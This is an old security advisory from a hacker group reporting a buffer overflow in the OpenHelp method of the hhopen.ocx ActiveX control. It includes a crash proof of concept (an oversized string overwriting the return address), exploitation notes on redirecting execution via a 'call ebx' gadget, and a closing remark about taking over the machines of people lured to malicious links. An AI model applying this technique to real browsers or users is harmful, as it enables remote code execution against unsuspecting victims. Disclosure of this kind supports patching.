HHOPEN.OCX Buffer Overflow
Discovered by DaCure <DaCure@bigfoot.com> of RaZa-MeXiCaNa Hackers Team

The Problem
-----------
While playing around with VB6 and some ActiveX controls, I discovered a
buffer overflow
in the following function:
Hhopen1.OpenHelp(HelpFile as String, HelpSection as String) as Long
This function is included in the "hhopen OLE Control Module" (hhopen.ocx).
So we fill the buffer with a larger string:
a =
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
Hhopen1.OpenHelp(a, "whatever")
This would overwrite the return address and make EIP point to 0x41414141
(the last 4 "A"s).
Of course nothing is loaded there, instant page fault.
Now, we have good posibilities here for writting an exploit:
- We can overwrite the return address
- We have a large buffer to put code
- We have even more buffer space to put code (if we use HelpSection as an
extension)
I found that EBX is the only register that points somewhere into the string
(in fact
it points to the beginning of it... great!).
So we just need to find a "call ebx" and our code will be executed!
Test Exploit
------------
The followin is just a test exploit. I dindn't have the time to write
somethin but I'll do
something in the next release (download and execute a file, execute a local
file, etc.)...
just imagine the fun of owning the machine of those hornys boys that visit
every damn porn
link you give them!
This is for IE5 with 98. It may work with others too. Tell me what you find.
